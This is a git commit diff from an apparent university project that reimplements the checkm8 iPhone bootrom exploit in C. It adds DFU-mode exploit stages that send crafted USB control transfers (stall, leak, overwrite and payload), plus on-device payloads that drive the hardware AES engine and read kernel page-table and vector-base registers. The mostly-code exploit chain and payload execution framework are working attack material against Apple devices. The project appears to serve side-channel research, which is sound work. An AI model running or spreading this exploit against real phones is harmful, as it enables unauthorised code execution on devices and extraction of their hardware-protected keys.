Various improvements, including execute ability

This commit is contained in:
2019-12-13 14:53:20 -05:00
parent c3fe7fd540
commit 3caa14603f
10 changed files with 177 additions and 83 deletions

View File

@@ -0,0 +1,57 @@
#include "brfunc_aes.h"
#include "brfunc_timing.h"
#include "brfunc_sep.h"
__attribute__ ((section (".payload_text")))
int aes_hw_crypto_command(unsigned int cmd,
void *src,
void *dst,
int len,
unsigned int opts,
void *key,
void *iv)
{
int seeded;
long start = 0, timeout = 0;
CLOCK_GATE(0x3C, 1);
seeded = DPA_SEEDED();
if(!seeded)
{
SEP_CREATE_SEND_DPA_MESSAGE();
start = SYSTEM_TIME();
while(!seeded && !timeout)
{
seeded = DPA_SEEDED();
timeout = TIME_HAS_ELAPSED(start, 1000);
}
}
if(timeout) return -1;
unsigned int key_command = CREATE_KEY_COMMAND(0, 0, 0, 0, 1, 0, 0, 0);
*rAES_INT_STATUS = 0x20;
*rAES_CONTROL = 1;
PUSH_COMMAND_KEY(key_command, key);
PUSH_COMMAND_IV(0, 0, 0, iv);
PUSH_COMMAND_DATA(0, 0, src, dst, len);
PUSH_COMMAND_FLAG(0, 1, 1);
WAIT_FOR_COMMAND_FLAG();
*rAES_CONTROL = 2;
CLOCK_GATE(0x3C, 0);
return 0;
}
int _start(unsigned int cmd,
void *src,
void *dst,
int len,
unsigned int opts,
void *key,
void *iv)
{
return aes_hw_crypto_command(cmd, src, dst, len, opts, key, iv);
}

View File

@@ -0,0 +1,14 @@
struct sysregs
{
long pt_base;
long evt_base;
};
struct sysregs _start()
{
struct sysregs res;
__asm__("mrs %0, ttbr1_el1" : "=r" (res.pt_base));
__asm__("mrs %0, vbar_el1" : "=r" (res.evt_base));
return res;
}

View File

@@ -9,6 +9,7 @@
#define CHECKM8_FAIL_NOEXP -3
#define CHECKM8_FAIL_NOTDONE -4
#define CHECKM8_FAIL_XFER -5
#define CHECKM8_FAIL_NOINST -6
#define IS_CHECKM8_FAIL(code) code < 0

View File

@@ -3,8 +3,8 @@
#include "checkm8.h"
#define PAYLOAD_FOUND 0
#define PAYLOAD_NOT_FOUND -1
#define PAYLOAD_AES_BIN CHECKM8_BIN_BASE "payloads/payload_aes.bin"
#define PAYLOAD_SYSREG_BIN CHECKM8_BIN_BASE "payloads/payload_sysreg.bin"
typedef enum
{
@@ -21,6 +21,6 @@ typedef enum
int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc);
int uninstall_payload(struct pwned_device *dev, PAYLOAD_T p);
int execute_payload(struct pwned_device *dev, PAYLOAD_T p, ...);
int execute_payload(struct pwned_device *dev, PAYLOAD_T p, int nargs, ...);
#endif //IPWNDFU_REWRITE_C_PAYLOAD_H

View File

@@ -32,5 +32,6 @@ int main()
return -1;
}
install_payload(dev, PAYLOAD_AES, DRAM);
install_payload(dev, PAYLOAD_SYSREG, DRAM);
execute_payload(dev, PAYLOAD_SYSREG, 0);
}

View File

@@ -17,12 +17,12 @@ int dfu_send_data(struct pwned_device *dev, unsigned char *data, long data_len)
if(data_len - index >= LIBUSB_MAX_PACKET_SIZE) amount = LIBUSB_MAX_PACKET_SIZE;
else amount = data_len - index;
checkm8_debug("sending chunk of size %li at index %li\n", amount, index);
checkm8_debug("\tsending chunk of size %li at index %li\n", amount, index);
ret = libusb_control_transfer(dev->bundle->handle, 0x21, 1, 0, 0, &data[index], amount, 5000);
if(ret > 0) checkm8_debug("transferred %i bytes\n", ret);
if(ret > 0) checkm8_debug("\ttransferred %i bytes\n", ret);
else
{
checkm8_debug("request failed with error code %i (%s)\n", ret, libusb_error_name(ret));
checkm8_debug("\trequest failed with error code %i (%s)\n", ret, libusb_error_name(ret));
return CHECKM8_FAIL_XFER;
}
index += amount;
@@ -53,54 +53,58 @@ int command(struct pwned_device *dev, struct command_args *args, struct command_
if(!is_device_bundle_open(dev)) return CHECKM8_FAIL_NODEV;
int ret;
dfu_send_data(dev, nullbuf, 16);
ret = dfu_send_data(dev, nullbuf, 16);
if(IS_CHECKM8_FAIL(ret)) return ret;
ret = libusb_control_transfer(dev->bundle->handle, 0x21, 1, 0, 0, nullbuf, 0, 100);
if(ret > 0) checkm8_debug("transferred %i bytes\n", ret);
if(ret >= 0) checkm8_debug("\ttransferred %i bytes\n", ret);
else
{
checkm8_debug("request failed with error code %i (%s)\n", ret, libusb_error_name(ret));
checkm8_debug("\trequest failed with error code %i (%s)\n", ret, libusb_error_name(ret));
return CHECKM8_FAIL_XFER;
}
ret = libusb_control_transfer(dev->bundle->handle, 0xA1, 3, 0, 0, nullbuf, 6, 100);
if(ret > 0) checkm8_debug("transferred %i bytes\n", ret);
if(ret >= 0) checkm8_debug("\ttransferred %i bytes\n", ret);
else
{
checkm8_debug("request failed with error code %i (%s)\n", ret, libusb_error_name(ret));
checkm8_debug("\trequest failed with error code %i (%s)\n", ret, libusb_error_name(ret));
return CHECKM8_FAIL_XFER;
}
ret = libusb_control_transfer(dev->bundle->handle, 0xA1, 3, 0, 0, nullbuf, 6, 100);
if(ret > 0) checkm8_debug("transferred %i bytes\n", ret);
if(ret >= 0) checkm8_debug("\ttransferred %i bytes\n", ret);
else
{
checkm8_debug("request failed with error code %i (%s)\n", ret, libusb_error_name(ret));
checkm8_debug("\trequest failed with error code %i (%s)\n", ret, libusb_error_name(ret));
return CHECKM8_FAIL_XFER;
}
dfu_send_data(dev, (unsigned char *) args, args->len);
ret = dfu_send_data(dev, (unsigned char *) args, args->len);
if(IS_CHECKM8_FAIL(ret)) return ret;
if(response_len == 0)
{
ret = libusb_control_transfer(dev->bundle->handle, 0xA1, 2, 0xFFFF, 0, (unsigned char *) resp, response_len + 1, 100);
if(ret > 0) checkm8_debug("final request transferred %i bytes\n", ret);
if(ret >= 0) checkm8_debug("\tfinal request transferred %i bytes\n", ret);
else
{
checkm8_debug("final request failed with error code %i (%s)\n", ret, libusb_error_name(ret));
checkm8_debug("\tfinal request failed with error code %i (%s)\n", ret, libusb_error_name(ret));
return CHECKM8_FAIL_XFER;
}
}
else
{
ret = libusb_control_transfer(dev->bundle->handle, 0xA1, 2, 0xFFFF, 0, (unsigned char *) resp, response_len, 100);
if(ret > 0) checkm8_debug("final request transferred %i bytes\n", ret);
if(ret >= 0) checkm8_debug("\tfinal request transferred %i bytes\n", ret);
else
{
checkm8_debug("final request failed with error code %i (%s)\n", ret, libusb_error_name(ret));
checkm8_debug("\tfinal request failed with error code %i (%s)\n", ret, libusb_error_name(ret));
return CHECKM8_FAIL_XFER;
}
}
checkm8_debug("got response magic %X\n", resp->magic);
checkm8_debug("\tgot response magic %lx (%s)\n", resp->magic, (char *) &resp->magic);
return CHECKM8_SUCCESS;
}
@@ -117,7 +121,7 @@ int dev_memset(struct pwned_device *dev, long addr, unsigned char c, long len)
cmd_args = calloc(1, sizeof(struct command_args));
cmd_resp = calloc(1, sizeof(struct command_args));
checkm8_debug("cmd_args = %p, cmd_resp = %p\n", cmd_args, cmd_resp);
checkm8_debug("\tcmd_args = %p, cmd_resp = %p\n", cmd_args, cmd_resp);
cmd_args->magic = MEMS_MAGIC;
cmd_args->pad = 0;
cmd_args->arg1 = addr;
@@ -125,7 +129,7 @@ int dev_memset(struct pwned_device *dev, long addr, unsigned char c, long len)
cmd_args->arg3 = len;
cmd_args->len = 40;
ret = command(dev, cmd_args, cmd_resp, 0);
ret = command(dev, cmd_args, cmd_resp, 8);
free(cmd_args);
free(cmd_resp);
@@ -140,7 +144,7 @@ int dev_memcpy(struct pwned_device *dev, long dest, long src, long len)
cmd_args = calloc(1, sizeof(struct command_args));
cmd_resp = calloc(1, sizeof(struct command_args));
checkm8_debug("cmd_args = %p, cmd_resp = %p\n", cmd_args, cmd_resp);
checkm8_debug("\tcmd_args = %p, cmd_resp = %p\n", cmd_args, cmd_resp);
cmd_args->magic = MEMC_MAGIC;
cmd_args->pad = 0;
cmd_args->arg1 = dest;
@@ -160,28 +164,27 @@ int dev_exec(struct pwned_device *dev, long response_len, int nargs, unsigned lo
checkm8_debug("dev_exec(dev = %p, response_len = %l, nargs = %i, args = %p\n", dev, response_len, nargs, args);
if(nargs > 7)
{
checkm8_debug("too many args\n");
checkm8_debug("\ttoo many args\n");
return CHECKM8_FAIL_INVARGS;
}
int ret;
int ret, i;
unsigned long long *argbase;
struct command_args *cmd_args, *cmd_resp;
cmd_args = calloc(1, sizeof(struct command_args));
cmd_resp = calloc(1, sizeof(struct command_args));
checkm8_debug("cmd_args = %p, cmd_resp = %p\n", cmd_args, cmd_resp);
checkm8_debug("copying args: ");
checkm8_debug("\tcmd_args = %p, cmd_resp = %p\n", cmd_args, cmd_resp);
checkm8_debug("\tcopying args");
cmd_args->magic = EXEC_MAGIC;
cmd_args->pad = 0;
argbase = &cmd_args->arg1;
for(ret = 0; ret < nargs; ret++)
for(i = 0; i < nargs; i++)
{
checkm8_debug("%lx ", args[ret]);
argbase[ret] = args[ret];
argbase[i] = args[i];
checkm8_debug("\t\t%ul\n", args[i]);
}
checkm8_debug("\n");
ret = command(dev, cmd_args, cmd_resp, 16 + response_len);
if(ret == CHECKM8_SUCCESS && cmd_resp->magic != DONE_MAGIC) return CHECKM8_FAIL_NOTDONE;

View File

@@ -18,14 +18,14 @@ int complete_stage(struct pwned_device *device, stage_function *func)
ret = get_device_bundle(device);
if(ret == LIBUSB_ERROR_NO_DEVICE)
{
checkm8_debug("failed to get device bundle\n");
checkm8_debug("\tfailed to get device bundle\n");
return CHECKM8_FAIL_NODEV;
}
checkm8_debug("got device bundle, calling function\n");
checkm8_debug("\tgot device bundle, calling function\n");
ret = func(device);
checkm8_debug("releasing device bundle\n");
checkm8_debug("\treleasing device bundle\n");
release_device_bundle(device);
return ret;
@@ -44,7 +44,7 @@ int stage1_function(struct pwned_device *dev)
usb_req_leak(dev);
no_leak(dev);
checkm8_debug("reset\n");
checkm8_debug("\treset\n");
libusb_reset_device(dev->bundle->handle);
return CHECKM8_SUCCESS;
}
@@ -58,7 +58,7 @@ int stage2_function(struct pwned_device *dev)
libusb1_async_ctrl_transfer(dev, 0x21, 1, 0, 0, databuf, 0x800, 1);
libusb1_no_error_ctrl_transfer(dev, 0x21, 4, 0, 0, NULL, 0, 0);
checkm8_debug("reset\n");
checkm8_debug("\treset\n");
libusb_reset_device(dev->bundle->handle);
return CHECKM8_SUCCESS;
}
@@ -67,24 +67,22 @@ int stage3_function(struct pwned_device *dev)
{
checkm8_debug("exploit stage 3\n");
unsigned char overwrite_buf[1524];
FILE *overwrite_file = fopen(
"/home/grg/Projects/School/NCSU/iphone_aes_sc/ipwndfu_rewrite_c/checkm8_remote/bin/overwrite.bin", "r");
FILE *overwrite_file = fopen(CHECKM8_BIN_BASE "overwrite.bin", "r");
fread(overwrite_buf, 1524, 1, overwrite_file);
fclose(overwrite_file);
unsigned char payload_buf[2400];
FILE *payload_file = fopen(
"/home/grg/Projects/School/NCSU/iphone_aes_sc/ipwndfu_rewrite_c/checkm8_remote/bin/payload.bin", "r");
FILE *payload_file = fopen(CHECKM8_BIN_BASE "payload.bin", "r");
fread(payload_buf, 2400, 1, payload_file);
fclose(payload_file);
usb_req_stall(dev);
usb_req_leak(dev);
checkm8_debug("transferring overwrite\n");
checkm8_debug("\ttransferring overwrite\n");
libusb1_no_error_ctrl_transfer(dev, 0, 0, 0, 0, overwrite_buf, 1524, 100);
checkm8_debug("transferring payload\n");
checkm8_debug("\ttransferring payload\n");
libusb1_no_error_ctrl_transfer(dev, 0x21, 1, 0, 0, payload_buf, 2048, 100);
libusb1_no_error_ctrl_transfer(dev, 0x21, 1, 0, 0, &payload_buf[2048], 352, 100);
@@ -102,7 +100,7 @@ int check_function(struct pwned_device *dev)
struct libusb_device_descriptor *desc = dev->bundle->descriptor;
libusb_get_string_descriptor_ascii(handle, desc->iSerialNumber, serial_buf, sizeof(serial_buf));
checkm8_debug("got serial %s\n", serial_buf);
checkm8_debug("\tgot serial %s\n", serial_buf);
for(i = 0; i < 13; i++)
{

View File

@@ -12,7 +12,7 @@ int get_device_bundle(struct pwned_device *dev)
checkm8_debug("get_device_bundle(dev = %p)\n", dev);
if(dev->bundle->ctx == NULL)
{
checkm8_debug("bundle ctx is NULL, allocating\n");
checkm8_debug("\tbundle ctx is NULL, allocating\n");
dev->bundle->ctx = malloc(sizeof(libusb_context));
libusb_init(&dev->bundle->ctx);
}
@@ -22,7 +22,7 @@ int get_device_bundle(struct pwned_device *dev)
dev->bundle->descriptor->idVendor == dev->idVendor &&
dev->bundle->descriptor->idProduct == dev->idProduct)
{
checkm8_debug("bundle is already valid\n");
checkm8_debug("\tbundle is already valid\n");
return LIBUSB_SUCCESS;
}
}
@@ -31,7 +31,7 @@ int get_device_bundle(struct pwned_device *dev)
int usb_dev_count, ret = LIBUSB_ERROR_NO_DEVICE;
usb_dev_count = libusb_get_device_list(dev->bundle->ctx, &usb_device_list);
checkm8_debug("found %i USB devices\n", usb_dev_count);
checkm8_debug("\tfound %i USB devices\n", usb_dev_count);
dev->bundle->device = NULL;
dev->bundle->handle = NULL;
@@ -45,24 +45,24 @@ int get_device_bundle(struct pwned_device *dev)
if(dev->bundle->descriptor->idVendor == dev->idVendor &&
dev->bundle->descriptor->idProduct == dev->idProduct)
{
checkm8_debug("checking device %i ... match!\n", i);
checkm8_debug("\tchecking device %i ... match!\n", i);
ret = LIBUSB_SUCCESS;
break;
}
checkm8_debug("checking device %i ... no match\n", i);
checkm8_debug("\tchecking device %i ... no match\n", i);
}
libusb_free_device_list(usb_device_list, usb_dev_count);
if(ret == LIBUSB_SUCCESS)
{
checkm8_debug("opening device and returning success\n");
checkm8_debug("\topening device and returning success\n");
libusb_open(dev->bundle->device, &dev->bundle->handle);
libusb_set_auto_detach_kernel_driver(dev->bundle->handle, 1);
}
else
{
checkm8_debug("could not find a matching device\n");
checkm8_debug("\tcould not find a matching device\n");
libusb_exit(dev->bundle->ctx);
free(dev->bundle->ctx);
free(dev->bundle->descriptor);
@@ -81,7 +81,7 @@ int release_device_bundle(struct pwned_device *dev)
checkm8_debug("release_device_bundle(dev = %p)\n", dev);
if(dev->bundle->handle != NULL)
{
checkm8_debug("closing handle\n");
checkm8_debug("\tclosing handle\n");
libusb_close(dev->bundle->handle);
dev->bundle->handle = NULL;
}
@@ -90,7 +90,7 @@ int release_device_bundle(struct pwned_device *dev)
if(dev->bundle->ctx != NULL)
{
checkm8_debug("exiting context\n");;
checkm8_debug("\texiting context\n");;
libusb_exit(dev->bundle->ctx);
free(dev->bundle->ctx);
dev->bundle->ctx = NULL;
@@ -98,7 +98,7 @@ int release_device_bundle(struct pwned_device *dev)
if(dev->bundle->descriptor != NULL)
{
checkm8_debug("freeing device descriptor\n");
checkm8_debug("\tfreeing device descriptor\n");
free(dev->bundle->descriptor);
dev->bundle->descriptor = NULL;
}
@@ -126,8 +126,7 @@ int libusb1_async_ctrl_transfer(struct pwned_device *dev,
unsigned char *data, unsigned short data_len,
unsigned int timeout)
{
checkm8_debug(
"async_ctrl_transfer(dev = %p, bmRequestType = %i, bRequest = %i, wValue = %i, wIndex = %i, data = %p, data_len = %i, timeout = %i)\n",
checkm8_debug("async_ctrl_transfer(dev = %p, bmRequestType = %i, bRequest = %i, wValue = %i, wIndex = %i, data = %p, data_len = %i, timeout = %i)\n",
dev, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout);
struct timeval start, end;
unsigned char usb_transfer_buf[8 + data_len];
@@ -140,11 +139,11 @@ int libusb1_async_ctrl_transfer(struct pwned_device *dev,
memcpy(&usb_transfer_buf[8], data, data_len);
libusb_fill_control_transfer(usb_transfer, dev->bundle->handle, usb_transfer_buf, async_ctrl_transfer_cb, NULL, 1);
checkm8_debug("submiting urb\n");
checkm8_debug("\tsubmiting urb\n");
ret = libusb_submit_transfer(usb_transfer);
if(ret != 0)
{
checkm8_debug("failed to submit async USB transfer: %s\n", libusb_error_name(ret));
checkm8_debug("\tfailed to submit async USB transfer: %s\n", libusb_error_name(ret));
libusb_free_transfer(usb_transfer);
return CHECKM8_FAIL_XFER;
}
@@ -157,7 +156,7 @@ int libusb1_async_ctrl_transfer(struct pwned_device *dev,
ret = libusb_cancel_transfer(usb_transfer);
if(ret != 0)
{
checkm8_debug("failed to cancel async USB transfer: %s\n", libusb_error_name(ret));
checkm8_debug("\tfailed to cancel async USB transfer: %s\n", libusb_error_name(ret));
return CHECKM8_FAIL_XFER;
}
@@ -184,14 +183,14 @@ int libusb1_no_error_ctrl_transfer(struct pwned_device *dev,
ret = libusb_claim_interface(dev->bundle->handle, interface);
if(ret > 0)
{
checkm8_debug("failed to claim interface: %s\n", libusb_error_name(ret));
checkm8_debug("\tfailed to claim interface: %s\n", libusb_error_name(ret));
return CHECKM8_FAIL_XFER;
}
}
ret = libusb_control_transfer(dev->bundle->handle, bmRequestType, bRequest, wValue, wIndex, data, data_len,
timeout);
checkm8_debug("got error %s but ignoring\n", libusb_error_name(ret));
checkm8_debug("\tgot error %s but ignoring\n", libusb_error_name(ret));
return CHECKM8_SUCCESS;
}

View File

@@ -2,6 +2,8 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include "command.h"
#include "libusb_helpers.h"
@@ -26,7 +28,11 @@ struct payload *get_payload(PAYLOAD_T p)
switch(p)
{
case PAYLOAD_AES:
path = "/home/grg/Projects/School/NCSU/iphone_aes_sc/ipwndfu_rewrite_c/checkm8_remote/bin/payloads/payload_aes.bin";
path = PAYLOAD_AES_BIN;
break;
case PAYLOAD_SYSREG:
path = PAYLOAD_SYSREG_BIN;
break;
default:
@@ -59,7 +65,8 @@ struct payload *get_payload(PAYLOAD_T p)
void free_payload(struct payload *p)
{
free(p->data);
free(p);
}
long get_address(struct pwned_device *dev, LOCATION_T l)
@@ -68,18 +75,18 @@ long get_address(struct pwned_device *dev, LOCATION_T l)
}
int dev_contains_payload(struct pwned_device *dev, PAYLOAD_T p)
struct payload *dev_retrieve_payload(struct pwned_device *dev, PAYLOAD_T p)
{
struct payload *curr;
for(curr = dev->installed; curr != NULL; curr = curr->next)
{
if(curr->type == p) return PAYLOAD_FOUND;
if(curr->type == p) return curr;
}
return PAYLOAD_NOT_FOUND;
return NULL;
}
int dev_insert_payload(struct pwned_device *dev, struct payload *pl)
int dev_link_payload(struct pwned_device *dev, struct payload *pl)
{
struct payload *curr;
if(dev->installed == NULL)
@@ -97,27 +104,19 @@ int dev_insert_payload(struct pwned_device *dev, struct payload *pl)
}
}
struct payload *dev_remove_payload(struct pwned_device *dev, PAYLOAD_T p)
int *dev_unlink_payload(struct pwned_device *dev, struct payload *pl)
{
struct payload *curr;
if(dev->installed == NULL)
if(dev->installed == pl)
{
return NULL;
dev->installed = NULL;
return CHECKM8_SUCCESS;
}
else
{
for(curr = dev->installed; curr != NULL; curr = curr->next)
{
if(curr->type == p)
{
curr->prev->next = curr->next;
curr->next->prev = curr->prev;
return curr;
}
}
pl->prev->next = pl->next;
pl->next->prev = pl->prev;
return CHECKM8_SUCCESS;
}
return NULL;
}
@@ -142,7 +141,8 @@ int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc)
}
}
dev_insert_payload(dev, pl);
pl->install_base = addr;
dev_link_payload(dev, pl);
release_device_bundle(dev);
return ret;
}
@@ -152,7 +152,27 @@ int uninstall_payload(struct pwned_device *dev, PAYLOAD_T p)
}
int execute_payload(struct pwned_device *dev, PAYLOAD_T p, ...)
int execute_payload(struct pwned_device *dev, PAYLOAD_T p, int nargs, ...)
{
int ret, i;
struct payload *pl;
if((pl = dev_retrieve_payload(dev, p)) == NULL) return CHECKM8_FAIL_NOINST;
ret = get_device_bundle(dev);
if(IS_CHECKM8_FAIL(ret)) return ret;
unsigned long long args[nargs + 1];
args[0] = pl->install_base;
va_list arg_list;
va_start(arg_list, nargs);
for(i = 0; i < nargs; i++)
{
args[i + 1] = va_arg(arg_list, unsigned long long);
}
va_end(arg_list);
ret = dev_exec(dev, 16, nargs, args);
release_device_bundle(dev);
return ret;
}

View File

@@ -4,6 +4,7 @@
//#define LIBUSB_LOGGING
#define CHECKM8_LOGGING
#define CHECKM8_PLATFORM 8010
#define CHECKM8_BIN_BASE "/home/grg/Projects/School/NCSU/iphone_aes_sc/checkm8_remote/bin/"
void checkm8_debug(const char *format, ...);